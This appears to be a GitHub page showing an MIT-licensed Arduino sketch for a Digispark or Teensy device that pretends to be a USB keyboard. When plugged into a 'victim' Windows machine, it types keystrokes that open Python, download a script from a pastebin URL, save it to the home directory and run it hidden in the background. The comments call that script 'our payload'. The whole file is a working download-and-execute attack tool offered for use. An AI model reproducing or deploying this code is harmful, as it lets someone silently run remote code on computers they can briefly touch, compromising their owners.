-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathdigipyexec.ino
More file actions
111 lines (98 loc) · 3.9 KB
/
digipyexec.ino
File metadata and controls
111 lines (98 loc) · 3.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
/*============================================================================
MIT License
Copyright (c) 2020 github.com/whyire
___ _
____/ (_)___ _(_)___ __ _____ _ _____ _____
/ __ / / __ `/ / __ \/ / / / _ \| |/_/ _ \/ ___/
/ /_/ / / /_/ / / /_/ / /_/ / __/> </ __/ /__
\__,_/_/\__, /_/ .___/\__, /\___/_/|_|\___/\___/
/____/ /_/ /____/ v1.1
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
============================================================================*/
/* SETTINGS */
#define PY_SCRIPT_URL "https://pastebin.com/raw/BY9xEaJi" // Raw text link to python script to run in background on "victim"
#define PY_SCRIPT_NAME "pyscr.py" // Name of script that is saved on "victim"'s user directory
//#define TEENSY // Uncomment if programming a teensy
#define START_DELAY 1600
#define START_MENU_DELAY 800
#define START_MENU_SEARCH_DELAY 350
#define PYTHON_WINDOW_OPEN_DELAY 1300
#ifndef TEENSY
#include "DigiKeyboard.h"
#define KEY_LEFT_GUI MOD_GUI_LEFT
#endif
namespace kbd {
void print(char* str) {
//print on both teensy and dspark
#ifdef TEENSY
Keyboard.print(str);
#else
DigiKeyboard.print(str);
#endif
}
void wait(int t) {
//delay on both teensy and dspark
#ifdef TEENSY
delay(t);
#else
DigiKeyboard.delay(t);
#endif
}
void pressModKey(int key) {
#ifdef TEENSY
Keyboard.press(key);
kbd::wait(5);
Keyboard.release(key);
#else
DigiKeyboard.sendKeyStroke(0, key);
#endif
}
void pressKey(int key) {
#ifdef TEENSY
Keyboard.press(key);
kbd::wait(5);
Keyboard.release(key);
#else
DigiKeyboard.sendKeyStroke(key);
#endif
}
}
void setup() {
/* Open python prompt */
kbd::wait(START_DELAY);
kbd::print("");
kbd::wait(10);
kbd::pressModKey(KEY_LEFT_GUI);
kbd::wait(START_MENU_DELAY);
kbd::print("python.exe");
kbd::wait(START_MENU_SEARCH_DELAY);
kbd::pressKey(KEY_ENTER);
kbd::wait(PYTHON_WINDOW_OPEN_DELAY);
/* Python script */
kbd::print({"import subprocess,os,urllib.request as r;" // imports
"os.chdir(os.path.expanduser('~'));"// Change directory to home as we may not have permission to edit in the python folder Change ~ with | if on uk keyboard with digispark
"f=open('"});kbd::print(PY_SCRIPT_NAME);kbd::print({"','wb');"// Create the file with the name of PY_SCRIPT_NAME which will run in the background as our payload
"f.write(r.urlopen('"});kbd::print(PY_SCRIPT_URL);kbd::print({"').read());"
"f.close();"
"subprocess.Popen('pythonw.exe "});kbd::print(PY_SCRIPT_NAME);kbd::print({"',creationflags=8,close_fds=True);exit()"}); // Open the script we just made with pythonw (so it runs in background)
kbd::pressKey(KEY_ENTER);
}
void loop() {
#ifdef TEENSY
//kbd::pressKey(KEY_MEDIA_VOLUME_INC); //Spam volume up
#endif
}